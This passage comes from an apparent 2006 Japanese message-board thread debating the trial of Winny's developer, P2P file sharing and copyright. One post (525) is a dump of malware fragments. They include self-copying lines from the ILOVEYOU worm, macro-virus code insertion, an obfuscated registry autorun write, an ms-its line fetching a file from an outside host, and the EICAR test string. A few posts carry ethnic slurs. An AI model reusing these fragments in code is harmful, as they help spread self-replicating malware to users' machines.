468 :名無しさん@6周年:2006/06/17(土) 11:56:15 ID:vNjVZmEm0
>>467
有罪にできそうもないから。
金子は有罪に出来そう、または起訴することで利益がある、と検察が思ったから起訴された。

469 :名無しさん@6周年:2006/06/17(土) 11:58:49 ID:c7YJggAX0
>>468
(゚Д゚)
何と言うことだ……

470 :名無しさん@6周年:2006/06/17(土) 12:00:05 ID:YWtcgOGE0
<記者>「違法利用があるのにバージョンアップを続けた?」
Q:急や

471 :名無しさん@6周年:2006/06/17(土) 12:07:03 ID:MSHdPf6P0
>>467
金子勇がネットで、著作権侵害を奨励するような発言をしたことで、
Winny制作の意図を問われたんじゃなかったっけか。

ウロだし、その発言を直に見たわけじゃないから、何ともだけど。

472 :名無しさん@6周年:2006/06/17(土) 12:07:08 ID:8ZBcbQxcO
最近ほう助罪が様々な刑法で乱用されている件について

473 :名無しさん@6周年:2006/06/17(土) 12:12:44 ID:+MFgfXVG0
>>459
著作権うんぬんはシラネだが。
少なくても、おまえさんは馬鹿だな。

フリー文化って言葉も知らないのか?
ちなみに、値段が無料って意味だけじゃないよ、このフリーはw

近頃のネット利用者はフリー文化も知らないくせに、偉そうに
議論をぶつから困る。以下AA(r

474 :名無しさん@6周年:2006/06/17(土) 12:16:13 ID:Tqjfc+nd0
>だから、これまでWinny以外の様々なプログラムもネット上で無料で公開してきた。
ソフト開発、というか生産活動を仕事にしてるわけじゃ無いから言えることだな。
実際にはそれを生活の糧にしてる人もいるわけで、ビジネスモデルもなく単純に無料で公開されたら
死活問題の人も居る。特にWinnyは他人の有償物をタダで得られることをエサに使用者数を増やしたわけでそんなことは認められない。

475 :名無しさん@6周年:2006/06/17(土) 12:17:26 ID:vNjVZmEm0
>>471
47氏発言について金子が自分のものだと言ったことは
2ちゃんねら全員感謝しなきゃいけないことだぞ。
金子は黙秘する選択肢もあったけど、それやったら家宅捜査
入ったからな。

476 :名無しさん@6周年:2006/06/17(土) 12:21:27 ID:+MFgfXVG0
>>467
>>468
ようは、この逮捕は魔女狩りって奴に近いんだよね。
だから、検察も有罪に持っていくのに苦慮してる。

魔女狩り系の裁判で有罪にする為には、当人が犯罪を
認める自供が一番早い。というか、それしか正攻法は無い。

だから、検察は最初それで突破しようとしたが、さすがに開発
者側も、それを認めない戦術にでようとしてる。

まあ、少しでも法知識あれば、自供(罪を自分で認める)したら
、ほぼ有罪確定って事実は知ってるだろうし、ましてや、拘留す
ぎたら弁護士に相談くらいはしたんだろうしね。

で、次にどう検察が動くかが興味深いとこ。
自供得られないなら、次はトンでも理論でっち上げて、有罪持って
いかないと自分のメンツに関るからね。

477 :名無しさん@6周年:2006/06/17(土) 12:23:12 ID:4o1I0ezKO
ニイとかシェアとかBTとか
著作権法違反ホウジョで捕まえるべきだろ。
ダウンも違法にした方が良いじゃん。
こんなの明らかな万引きだよ。


478 :名無しさん@6周年:2006/06/17(土) 12:24:57 ID:RgVc403C0
金子氏を批判する人間は、

・事の本質を全く見ていない池沼か、
・デジタルデバイドの向こう側の人間

と判断していいって事か?


479 :名無しさん@6周年:2006/06/17(土) 12:27:52 ID:4UsO2Pp60
>>474
>実際にはそれを生活の糧にしてる人もいるわけで、ビジネスモデルもなく単純に無料で公開されたら
>死活問題の人も居る。

すでに有償で提供されている物・サービスを他人が無償で提供することは駄目なのか?
そう思ってるからそんなセリフが出てくるんだろうが頭おかしい人としか思えんよ。

480 :名無しさん@6周年:2006/06/17(土) 12:28:14 ID:zXd8RYEW0
交通事故は自動車を作ったメーカーの責任。
自動車メーカーは交通事故を起こさない車を開発するまで
市場に投入してはならないw

って事でしょ?京都府警

481 :名無しさん@6周年:2006/06/17(土) 12:31:44 ID:NH4Nr+ty0
法律に詳しい人にお聞きしたいのですが
結局有罪OR無罪?

482 :名無しさん@6周年:2006/06/17(土) 12:32:08 ID:+MFgfXVG0
>>478
まあ、そういうことだろ。

少なくても、違法利用者を逮捕しないで、開発者を捕まえるのは
明らかにおかしいね。

それこそ、猟銃使って殺人事件が起きて、猟銃製作メーカーを逮捕して、
殺人事件を犯したしたを逮捕しないようなもの。

それなら、なんで殺人事件犯した人捕まえないのか?って単純な疑問がわく。

警察「今の枠組み(技術、法に乗っ取った警察活動)じゃ、逮捕が難しいんだもん
    開発者捕まえるのは、物凄く簡単だったからそうしただけだよん。」

これじゃあ、どうしようもないわなw  

483 :名無しさん@6周年:2006/06/17(土) 12:38:08 ID:+MFgfXVG0
>>481
まあ、常識的には犯行要件成立するには弱すぎるから無罪だろうが、
裁判所は魑魅魍魎が住むから判決出るまでは何とも言えないってのが本音。

特に、検察がメンツに関ってくる場合は、白を黒にする事例は今まで結構ある。

484 :名無しさん@6周年:2006/06/17(土) 12:41:06 ID:u/N2pQtr0
>「全体の国益の問題。国益と考えると、この裁判は負けるわけにいかない」
>VOICEの独占取材に応じた金子被告は取材中、何度も「国益」と言う言葉を口にした。

で、この場合の国益って何よ?、対外的に国家が上げた利益ってどこにあるの?
スレの論点がまとまらずグダグダになるのは、金子が主張している「国益」がなにがなんだか
わからず意味不明だからじゃないか。

>>1-2をみても国益を根拠にnyの正当性を主張しているわけで、その国益が何を指すのか意味
不明では受け取り側の解釈次第で勝手に脱線していってしまうし話がかみ合わないよ。

485 :名無しさん@6周年:2006/06/17(土) 12:44:33 ID:Ur3Y2QSB0
>>484
プログラム利用者による違法行為でプログラム作成者が逮捕されれば
研究者が開発に二の足を踏む事態になりかねず国益を損なう

486 :名無しさん@6周年:2006/06/17(土) 12:44:50 ID:XezZ8jTx0
結果として、国益損ないまくりやんけ。
そもそも面白半分、欲望半分で作って
著作権違反に使われるのをわかっていて配布したのは見え見え。
完全な建前だな。

487 :名無しさん@6周年:2006/06/17(土) 12:45:49 ID:vNjVZmEm0
>>484
新しい技術開発が国に阻害されることは国益に反する、じゃないの?
普通にそう訴えてるように読めるが。
ていうか、業界で散々議論されてることでしょ。

488 :名無しさん@6周年:2006/06/17(土) 12:47:13 ID:lA+mt+oQ0
たとえ裁判で無罪になってシャバに戻ってきても、
芸能界を裏で仕切ってるヤクザに殺されちゃうんだけどね。
見せしめとして。金子は。

489 :名無しさん@6周年:2006/06/17(土) 12:48:58 ID:4EBDUKgO0
つーかさ、情報漏洩したウチの馬鹿共はなんで訴えられないし首にもならないんだ?
自分で言うのもなんだが、これだから国は嫌なんだ。

490 :名無しさん@6周年:2006/06/17(土) 12:49:44 ID:EJKq1YXK0
日本のソフト産業はかなり割り食ってると思うが。
やっぱ、金子って名前はそうなんだろうか。
金子さんは昔から日本にいるが、在が使うこともあるのでこの人は。。。

491 :名無しさん@6周年:2006/06/17(土) 12:51:02 ID:+MFgfXVG0
>>488
それは、開発者を完全に英雄にするぞ。

ゲイツやジョブスでさえ、そこまで伝説級英雄になってないんだから
いくらなんでも、このプログラマーを伝説級英雄にするには勘弁して
くれって感じだなあ。

492 :名無しさん@6周年:2006/06/17(土) 12:52:20 ID:lA+mt+oQ0
>>491
あとに続く者が出てこないようにすればいいだけだから。

493 :名無しさん@6周年:2006/06/17(土) 12:54:02 ID:RFMsuIqL0
>>486
トラック運転手に店でビールを提供したラーメン店を捕まえることはできても
缶ビールを売ったコンビニを逮捕することはできんわな

494 :名無しさん@6周年:2006/06/17(土) 12:54:48 ID:ljINPoVK0
サーバー使わないでファイルを回せるってメリットは大きいんだけどねえ。
京都府警がよく考えないでタイーホしちゃったからこの分野は後退したね。
mp3の違法性に二の足踏んでiPodが出るまで、市場価値を見極められなかった状態とよく似てくるよ。
今後はP2Pを合法で使う、「外国の」音楽配信サービスが主流になるんじゃないの?

495 :名無しさん@6周年:2006/06/17(土) 12:56:42 ID:+MFgfXVG0
>>492
いや、死人がでると、逆に後に続きまくりだろ。

プログラムのせいで死んだ事自体が、フリー文化を守る為の
死って事で昇華される。

そのプログラムの現実的功罪の論議さえ無視されてね。

496 :名無しさん@6周年:2006/06/17(土) 12:57:50 ID:DHcl5j6n0
493
で金子被告は
いたれりつくせりで
アルコールだして
運転手のおみおくりまで
しちゃったわけか

497 :名無しさん@6周年:2006/06/17(土) 12:57:55 ID:XRx8tY8/0
アンチの人がヤクザにまで期待してる

498 :名無しさん@6周年:2006/06/17(土) 12:58:38 ID:2JRYMBUD0
>>483
とはいえ最高裁までいけばまともな判断がなされるのは必定だけどな

>>490
苗字から在日と推定するのはいささか早計

>>495
特にFSFあたりがほえる可能性が高い。自由なソフトウェアの開発を阻害は許さんといってな

499 :名無しさん@6周年:2006/06/17(土) 13:02:06 ID:TfB50bmk0
>>474
>実際にはそれを生活の糧にしてる人もいるわけで、ビジネスモデルもなく単純に無料で公開されたら
>死活問題の人も居る。
それ、既得権益擁護の言い訳の典型的パターンだぞ。

500 :名無しさん@6周年:2006/06/17(土) 13:03:08 ID:+MFgfXVG0
>>494
それは、あるわなあ。
京都府警のせいで、大きく前進を阻まれた事は間違いないわな。

>>mp3の違法性に二の足踏んでiPodが出るまで、市場価値を見極められなかった
>>状態とよく似てくる

確かに、これも今回と同じ構図ダワナ。

まあ、どうしても、コンピューター関係の、新しい概念(機械的技術はとりあへず置いといて)
が日本じゃ出て来ないのは、よくも悪くもフリー文化が分かってない奴が多すぎるとこにあるわな。

JASRACしかり、京都府警しかり。まあ、正直「フリー文化?・・・ああ無料って事でしょ」
なんて輩が、著作権だの逮捕権だのもってるうちは、コンピューター関係の概念はアメリカ輸入に
頼るしか日本は手が無いと思うよ。


501 :名無しさん@6周年:2006/06/17(土) 13:06:26 ID:TfB50bmk0
>>492
あとに続く者は、nyを利用して匿名で放流できるんだが?

502 :名無しさん@6周年:2006/06/17(土) 13:08:14 ID:2JRYMBUD0
>>501
つFreenet
つShare
つその他P2P

503 :名無しさん@6周年:2006/06/17(土) 13:08:33 ID:f8VZ3/zJ0
もろ犯罪向きにソフト設計してなければ
金子に同意なんだがなぁ・・・

504 :名無しさん@6周年:2006/06/17(土) 13:11:27 ID:RJPBC9560
CPUを作ってるINTEL、
PC/AT機を作ったIBM、
WINDOWSを作ったMICROSOFT、
各種開発ソフトを作ってる会社。

みんな逮捕してたくさん罰金取れよ。



505 :名無しさん@6周年:2006/06/17(土) 13:12:18 ID:GiyM7Aez0

>国益


どこかの民度の低いパクリ民族のことだよな?

506 :名無しさん@6周年:2006/06/17(土) 13:17:06 ID:u/N2pQtr0
>>485>>487

国益とは対外関係における国家の利益ですよ?
そもそも日本国はnyで対外国から利益を上げているのですか?
その利益の蓄積は具体的にどこにあるのでしょうか?

国益といえば、「なんとなく理由付けできてもっともらしい」というから使っている
だけではないですかね。

もしくは別のことが主張したくて「国益」という言葉は不適切なのではないでしょうか。
先に指摘しましたが、あなたたちのように独自に「国益」部分を脳内変換してしまえば
話はかみ合わないと思いますよ。いくら議論しても定義部分の認識がずれていれば
何も先に進まないのではないですか。

507 :名無しさん@6周年:2006/06/17(土) 13:18:11 ID:Sl/4/gnZ0
>>506
そうか!
もっと洋物AVを共有すれば良いんだ!

508 :名無しさん@6周年:2006/06/17(土) 13:19:56 ID:RJPBC9560
>>23
新しい技術は、どのように使われるかわからないんだよ。
そんなんで開発者を逮捕するのか?
手順を踏んで、まず法律を作って禁止にするべきなんだよ。

ダイナマイトを作った彼が逮捕されたか?

よくあるレトリックだが、科学と兵器を忘れちゃいかん

509 :名無しさん@6周年:2006/06/17(土) 13:21:22 ID:XRx8tY8/0
ハサミだって最初は刃物から始まってるし

510 :名無しさん@6周年:2006/06/17(土) 13:23:14 ID:RJPBC9560
今の日本の警察じゃ、
被疑者死亡のままノーベルを書類送検しそうな勢いだお。


511 :名無しさん@6周年:2006/06/17(土) 13:23:38 ID:+MFgfXVG0
>>506
お前さんも馬鹿だな。
利益ってのは、金銭的な物だけじゃないぞ。

文化的優位性とか、技術的優位性とかも入る。

仮に、この件で、プログラマーが開発行為に対して萎縮すれば
日本国内において開発能力の低下が起こるわけ。
それは、日本が本来持てた技術的優位性を失った、国益を失う行為になるだろ。

まあ、俺は日本のフリー文化の発展に阻害を与えた可能性という文化的優位性が
失われた方をこの件では重視するけどね。

512 :名無しさん@6周年:2006/06/17(土) 13:25:40 ID:Tc9noClj0
立件すれば勝ちだと思ってる警察に萎え。
結果はどうあれ、自ら動こうとする金子に萌え。

そんな俺は今、エロ動画でシコシコ中。

513 :名無しさん@6周年:2006/06/17(土) 13:26:44 ID:+MFgfXVG0
>>510
どうせやるなら、それをやった方がいい。
少なくても、開発行為に対する、日本の法秩序が明確になって、
わかりやすくはなるからね。

ただ、日本じゃ開発というものは行われなくなるだろうな。

514 :名無しさん@6周年:2006/06/17(土) 13:27:32 ID:RJPBC9560
>>511
例えを出したほうが良いだろう。
アメリカが圧力を掛けなかったら
日本の航空産業が、
どれだけ輝かしい花を咲かせたか分からない。
って事。

515 :名無しさん@6周年:2006/06/17(土) 13:32:45 ID:Ta/uMv2G0
何で>>506はWinnyの範囲でしか国益を考えられないんだろ・・・?

516 :名無しさん@6周年:2006/06/17(土) 13:34:44 ID:u/N2pQtr0
>>511
ええ、その意見には賛成します。
利益は金銭的なものだけではないでしょう。
文化的優位性とか、技術的優位性とかもでも良いですよ。

それを踏まえて具体的に日本国としての利益の提示をさっさととしてください。
利益の定義部分に異論はないです、質問に答えないで余計な講釈は要りま
せん、それは話のすり替えです。それとも脱線を狙っているのですか?

そうではなく、あなたの言っているのは利益(りえき)ではなく利益(りやく)ですかね。
金子のさす国益の利益部分は、宗教的あるいは世俗的なさまざまの恩恵や幸福を
さしているとのことですかね。それは興味ある話ですね。そうなると資本主義化に
おいて資本を前提として話をする人とはかみ合わない部分が出てきますよね。

517 :名無しさん@6周年:2006/06/17(土) 13:45:51 ID:+MFgfXVG0
>>516
お前さん、馬鹿なだけじゃなくて、目も悪いのか?

>>516
>それを踏まえて具体的に日本国としての利益の提示をさっさととして
>ください。
>利益の定義部分に異論はないです、質問に答えないで余計な講釈は
>要りません、それは話のすり替えです。それとも脱線を狙っているのですか?

>>511
>仮に、この件で、プログラマーが開発行為に対して萎縮すれば
>日本国内において開発能力の低下が起こるわけ。
>それは、日本が本来持てた技術的優位性を失った、国益を失う

>日本のフリー文化の発展に阻害を与えた可能性という文化的優位性が
>失われた

あんたが、わざわざアンカーつけたレスに書いてアルジャン
というか、お前さん釣りだろ。釣りもいいけど、釣りは短文で頼む。
付き合うのは良いが、読むの面倒だからさ。

518 :名無しさん@6周年:2006/06/17(土) 13:49:50 ID:Sl/4/gnZ0
まあ今さらプログラマーが開発行為に萎縮することはないだろうね
社会性が薄弱な、ヤツらのリビドーは社会的な事件では止まらんよ



ただ、プログラマーの職業威信と収入と開発環境のクオリティは
低いままに据え置かれるだろうけどw

519 :名無しさん@6周年:2006/06/17(土) 13:50:57 ID:COmRYckg0
>>516の言い草だと、完成品しか世の中に出せないみたいだな。
テスト販売やモニタリングって知ってるか?
世界に先駆けてP2Pのビジネスモデルを確立させることが「国益」をもたらすことは理解できる?
金子氏はnyの先にそれを見据えていたと思うよ。
それを京都府警が潰しちゃったわけ。
逮捕がなければ、nyのロケーションテストを踏まえて、金子氏はデファクトスタンダードとなる
P2Pソフトを生み出せたと思うがなあ。

520 :名無しさん@6周年:2006/06/17(土) 13:52:39 ID:u/N2pQtr0
>>517
それは具体的とは言わない。抽象的、または観念的だよ。

国益云々以前に、言葉の意味がわかってないということなのかね。

521 :名無しさん@6周年:2006/06/17(土) 13:53:39 ID:+MFgfXVG0
>>518
どうかねえ、アメリカほど、いわゆるフリープログラマーはいないと思うよ日本は。

リピドーだかなんだかわからんが、少なくてもそんな物が議論に挙がる段階に
行ってる日本のフリープログラマーは多くはなかろう。

それより、プログラム開発会社である法人(主にベンチャーかな)に萎縮を
与える影響を心配する方が現実的な気がするね。


522 :名無しさん@6周年:2006/06/17(土) 13:57:28 ID:D4ChkzjWO
キムさん頑張れ!

523 :名無しさん@6周年:2006/06/17(土) 13:58:24 ID:+MFgfXVG0
>>520
やっと、短文にしてくれたか、それなら付き合うの楽だw。

・具体的じゃないと国益じゃない根拠は?
・お前さんのいう具体的ってのを詳細に説明してくれ
・私のレスが抽象的とか観念的らしいが、どこが 抽象的で、観念的か
 不才にして私にはわからんから、そこの指摘を詳細に頼むw

524 :名無しさん@6周年:2006/06/17(土) 14:04:55 ID:LhaISGmcO
この人、核関連の仕事していたら、簡単にテロリストに核の技術渡しそうだな



525 :名無しさん@6周年:2006/06/17(土) 14:05:55 ID:82RFz/4D0
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

526 :名無しさん@6周年:2006/06/17(土) 14:05:59 ID:Ly6Dd18Q0
Winnyってめちゃくちゃ経済的な損失出てるんじゃね?

527 :名無しさん@6周年:2006/06/17(土) 14:08:47 ID:q9cwzRvM0
>何度も「国益」と言う言葉を口にした。

みせしめ&被害拡大を招いたクソ逮捕だと思うけど
大義名分としては弱すぎるぞな

528 :名無しさん@6周年:2006/06/17(土) 14:09:17 ID:UN/PQ+a40
自分自身がお尻プリンセスなるものを落としていたことによって
著作権侵害のためのソフトであることを作者自身が認識していたことは明白。


全国に顔を晒された挙句、お尻プリンセスなるものを落としていたことがバレ
植草教授ばりに恥ずかしい目にあってるのがなんとも哀れ。



529 :名無しさん@6周年:2006/06/17(土) 14:09:56 ID:bbBobEDO0
>>526
どうなんだろ・・・。
どっかの大学がCDの売り上げとP2Pは関係ないってのを発表してたとおも

530 :名無しさん@6周年:2006/06/17(土) 14:10:33 ID:+MFgfXVG0
>>527
「これは、単なる警察の魔女狩り、納得できないから負けられない」
って言うのが、一番の大義名分になったかもしれんね。

531 :名無しさん@6周年:2006/06/17(土) 14:11:04 ID:e2jNYPXH0
>>526
楽して得したい煩悩を直撃
煩悩に飲み込まれた人々の自己正当化煩悩を直撃
無気力無活力層の固定化拡大化に貢献ってところか

532 :名無しさん@6周年:2006/06/17(土) 14:12:11 ID:SOlJHvZJ0
>>526 >>529
むしろ売り上げが上がった件
(Winnyで流れなかったものは売り上げが下がった件)

533 :名無しさん@6周年:2006/06/17(土) 14:14:01 ID:Sl/4/gnZ0
とりあえずお尻プリンセスの売上は
メチャクチャ伸びてそうだなw

534 :名無しさん@6周年:2006/06/17(土) 14:24:40 ID:XRx8tY8/0
愛国無罪!

535 :名無しさん@6周年:2006/06/17(土) 14:32:23 ID:mRvrugEJ0
OSレベルでコピー防止するような仕組みは出来ないもんかね。
DVD(現状では破られてるけど)では一応実現できているんだから簡単に出来るだろ。
コピー蔓延の原因の半分はビルGにあるな。間違いない。

536 :名無しさん@6周年:2006/06/17(土) 14:41:40 ID:pkyybyY50
>>535
そんなOSは売れない

537 :名無しさん@6周年:2006/06/17(土) 14:46:56 ID:b48yU1ab0
ふーん、国益ねえ
たしかに winnyの技術と日本の光ファイバー網があれば
世界中の配信事業を席巻することも可能だろうけど
問題は、タダじゃ誰も機材を提供してくれないのでは
参加報酬をどうするのかだな。

それと 大規模P2Pネットワークって全体のセキュリティレベルが向上しないっていう問題もある
情報流出がいい例だよ。

538 :名無しさん@6周年:2006/06/17(土) 14:47:56 ID:gv+kEfng0
>>495
まあどうでもいいが、日本のフリー開発者のドキュメントを作らない姿勢が
変わることのほうが重要だ。
今の日本のコンピュータ専門家・マニアの一番悪いところは、知らない人への
アピールを完全に怠り、知らない奴らに英語の原典があることを示して、
初心者は勉強不足だから、といいたがるところ。
外国のソフトウェアのページだと体系付けられたチュートリアルが実に多い。
自分たちの存在をアピールせずに、社会に影響を与えて説明責任も果たさない
ような人間の屑(金子)に、社会的制裁が加えられるのは当然だ。
英語ドキュメントの日本語訳からでもいい、とにかく人に表現してコミュニケーション
しようとする態度がもっと必要だ。

539 :名無しさん@6周年:2006/06/17(土) 14:49:42 ID:Ar+7ntPM0
>>538
それはあるな。
日本の技術者は閉鎖的。
日本のハカーにも同じことが言える。
となにかで読んだぞ。ゲーラボだったかなwwwwwwwww

540 :名無しさん@6周年:2006/06/17(土) 14:51:07 ID:Ur3Y2QSB0
何か褒めちぎってる人がいるな…

winny は p2p の一実装ではあるけど
格別に優れていた訳でも新しかった訳でもないと思う
類似ソフトなんて既にいくらでもあったわけだし
せいぜいノウハウの蓄積があったくらいじゃないの?

それでも逮捕自体は悪例を作ったとしか言いようがない

541 :名無しさん@6周年:2006/06/17(土) 14:55:38 ID:VK8Ry9Vc0
>>538

外国のソフトウェアのページだと体系付けられたチュートリアルが実に多い。
自分たちの存在をアピールせずに、社会に影響を与えて説明責任も果たさない

ような人間の屑(金子)に、社会的制裁が加えられるのは当然だ。


上の部分自体は首肯できるが下はなんだ?
何その法に基づかない恐怖政治

542 :名無しさん@6周年:2006/06/17(土) 14:57:43 ID:Sd2CD6Aw0
>>538
うむ納得だ。
オープンソースとかほざきながらソースにコメントが無いとかな。
それにソースだけでドキュメントも出さないのになにが公開だ。
データ構造とかフローをいちいちソースを読ませるなうっとうしい。


543 :名無しさん@6周年:2006/06/17(土) 15:03:25 ID:Sl/4/gnZ0
>>542
しょうがねえだろ、自然言語使えねーんだからよw

問題はドキュメント担当、逝ってるハカたちと
現実世界をつなぐ層の人材が薄いってことだ

544 :名無しさん@6周年:2006/06/17(土) 15:04:45 ID:twSOvuHV0
>>540
じゃあ新しい共有ソフトを作ってくれ。そうすればお前を神と崇めてやるよ。
お前みたいに口だけじゃなくて、実際に作るから褒められているんだろうが。

545 :名無しさん@6周年:2006/06/17(土) 15:11:20 ID:b48yU1ab0
そーかな、結構マメに更新内容や仕組みを解説してくれてたぞ
ダウソ板では。

それに、クローズソースだろあれは。



546 :名無しさん@6周年:2006/06/17(土) 15:26:15 ID:Sd2CD6Aw0
>>545
いわゆる「オープンソース」にありがちなことを挙げてみた。
良い面だけ見る上司に苦労させられてると愚痴も出るってもんだ。
ソース落としてちょこっと手を加えて動く商品になれば誰も苦労しねぇよってのバカ上司。

47氏は確かに解説してくれたたな。Winnyの技術はまだ読んでないがどうなんかね。


547 :名無しさん@6周年:2006/06/17(土) 16:29:13 ID:6qJr44Ww0
国益ねぇ
裁判には勝って欲しいけど、国益とか言い出すとはね
ダウソで開発・提供した時点で著作権侵害を助長する目的だったのは明白だと思うし
建前で技術を試すためとか言っとけば心象いいんかな
この人が兵器開発者だったら『技術は最高だ』『技術を試すため』とかいって、治安最悪のところにでもばら撒きそう

つか秋頃一審終わるみたいだけど、どっちにしろ控訴でしょ?
控訴審判決って一審からどれくらいで出るもんなの?

548 :名無しさん@6周年:2006/06/17(土) 16:31:46 ID:on5gXH2D0
国益だと思うのなら、
ソースを公開しろ。

549 :名無しさん@6周年:2006/06/17(土) 16:37:46 ID:VK8Ry9Vc0
>>548
本当にあほだな。おまえは。
「Winnyというアプリケーションそのものに国益がある」と主張している
のではなくて、「有罪判決という結果が出た場合、国益を損なう」という
意味なんだよ。


550 :名無しさん@6周年:2006/06/17(土) 16:45:28 ID:VK8Ry9Vc0
一応付け加えておくと、
直接的に犯罪を行う事を目的としない汎用的な技術開発活動を行い、その技術を
公表して、結果的にその技術を利用した犯罪が起こった場合に、開発者が犯罪を
幇助したとみなされ罪に問われる。

という世界でも類に見ない判例を残す事が長期的・広域的に見て国益に不利を成す
という事だ。Winnyの存在とWinnyのもたらした物が国益と言っているわけではない。

551 :名無しさん@6周年:2006/06/17(土) 16:53:28 ID:VK8Ry9Vc0
例えば、俺が画期的な新技術を発見してスペースコロニーを作ったとしよう。
皆は大喜びでそれを使い10万人が宇宙で生活を始めた。
しかし、運用に欠陥があって10万人が死んでしまった。

勿論、世論は俺を大量殺人者として糾弾するだろう。
だが、司法判断として大量殺人者として俺に無期懲役を求刑するかは
別問題と考えるべき。

552 :名無しさん@6周年:2006/06/17(土) 17:47:35 ID:oYcxJwhY0
P2Pファイル交換ソフトこそ21世紀最初にもたらした神


553 :名無しさん@6周年:2006/06/17(土) 18:19:08 ID:TtDCBqdC0
>>537
流出可能なPCに機密情報を入れなきゃいいだけ

554 :名無しさん@6周年:2006/06/17(土) 19:40:58 ID:vNjVZmEm0
>>550
さらに付けたし

一部の団体が政治や警察に圧力をかけて

100万人に不正アクセスして個人情報を略取する、

なんてことを堂々と宣言し、それを国営放送で放送する

なんていうテロリズムまがいがマスコミに平然と受け入れられている

現状を見るに、この裁判で金子が有罪になるなどということが

あった場合、日本にどんな未来が訪れるかを考えれば

もう直接的に有罪判決は日本の国益にならないことは明らかだな。

555 :名無しさん@6周年:2006/06/17(土) 20:12:14 ID:UchNlY8Z0
面倒な議論はするつもりないが、チンピラが犯した罪まで
会ったこともない組織の長の責任にする法律の適用と似ている。
作った人に幇助の罪が掛かるのなら、やはり刀剣・拳銃の製造者も罰しなきゃ不公平。

556 :名無しさん@6周年:2006/06/17(土) 20:22:49 ID:iNsd825c0
>>552
しかし人が使うと「人の習慣」がやっぱり根付くもんだなと感じるな。
点在する共有サークル事に壁が有るし。
あぁ・・「著作権」が出来た時もこんな感じだったのかな〜と思った。

557 :名無しさん@6周年:2006/06/17(土) 21:02:58 ID:JpHfCLr2O
nyのシステムを人間にあてはめた最果てのイマはなかなかおもしろかた

558 :名無しさん@6周年:2006/06/17(土) 21:06:06 ID:Sl/4/gnZ0
>>557
なんだそりゃ?
女を共有するのか?w

559 :俺天才:2006/06/17(土) 21:15:00 ID:8lRXRGvr0
2020年――――

日本国では映画、ソフトウェアなどデジタルコンテンツの違法コピーを制限する目的でHDDの配給制を実行した。
全てのデータは政府に管理された中央のサーバに集積される。
そこから個人に対して80GBずつ割り当てられるのだ。
これにより、大量のコピーデータを所持する事や、違法ファイルの所持が制限されたのであった。


これマジでいい案だと思うんだが。

560 :名無しさん@6周年:2006/06/17(土) 21:18:04 ID:5FDACbYU0
動画、統一協会関連のイベントに群がる議員たち
国会議員の名前が続々登場編
ttp://www.youtube.com/watch?v=0f7StnoPKgw&search=統一教会


561 :名無しさん@6周年:2006/06/17(土) 21:31:42 ID:zH0AfesK0
>>559
まずお前一人でやってろ

562 :名無しさん@6周年:2006/06/17(土) 21:35:07 ID:VK8Ry9Vc0
>>559はPS3の販促工作員

563 :名無しさん@6周年:2006/06/17(土) 21:45:25 ID:u5ikoB4m0
>>559
ストレージ配るってどういう事?
中央のサーバに集積されたデータの断片を
80GBづつ国民一人一人に割り当てられる?
全然意味わかんね

564 :俺天才:2006/06/17(土) 21:52:33 ID:8lRXRGvr0
>>563ネットワークでアクセスするんだよ

565 :名無しさん@6周年:2006/06/17(土) 22:29:38 ID:p/voCww20
>>559
財産権の侵害乙

566 :名無しさん@6周年:2006/06/17(土) 22:36:53 ID:VK8Ry9Vc0
    ,ィィr--  ..__、j
   ル! {       `ヽ,       ∧
  N { l `    ,、   i _|\/ ∨ ∨
  ゝヽ   _,,ィjjハ、   | \
  `ニr‐tミ-rr‐tュ<≧rヘ   > >>559は80GBのHDDを搭載した次期PS3を全国民に強制的に
     {___,リ ヽ二´ノ  }ソ ∠ 購入させる事を法制化するよう政府とSonyが裏で手を結んだ事を
    '、 `,-_-ュ  u /|   ∠ 示唆しているんだよ!
      ヽ`┴ ' //l\  |/\∧  /
--─‐ァ'| `ニ--‐'´ /  |`ー ..__   `´
    く__レ1;';';';>、  / __ |  ,=、 ___
   「 ∧ 7;';';'| ヽ/ _,|‐、|」 |L..! {L..l ))
   |  |::.V;';';';'| /.:.|トl`´.! l _,,,l | _,,|  , -,
    ! |:.:.:l;;';';';'|/.:.:.:||=|=; | |   | | .l / 〃 ))
    l |:.:.:.:l;';';'/.:.:.:.:| ! ヽ \!‐=:l/ `:lj  7
    | |:.:.:.:.l;'/.:.:.:.:.:.! ヽ:::\::  ::::|  ::l /


567 :名無しさん@6周年:2006/06/17(土) 22:44:26 ID:hS3BMw350
>>386が気になるんだけど。
結論は出たの?

568 :名無しさん@6周年:2006/06/17(土) 22:46:32 ID:2/D2ZZ4R0
でも逮捕と同時に、nyで収集した大量の動画やアプリ群も
押収されてるんでしょ?

その辺りのポイントって裁判で話しになってるの?

569 :名無しさん@6周年:2006/06/17(土) 22:48:31 ID:If7mPpaB0
もともと、このソフトがお日様の下で
堂々と使われて困るのは、ソフトウェア会社よりも
鯖を売っているハードウェア会社だったような希ガス。

コンセプト自体は、非常に画期的だったのにね。
なんちゃってITバカに「知財侵害の尖兵」へと
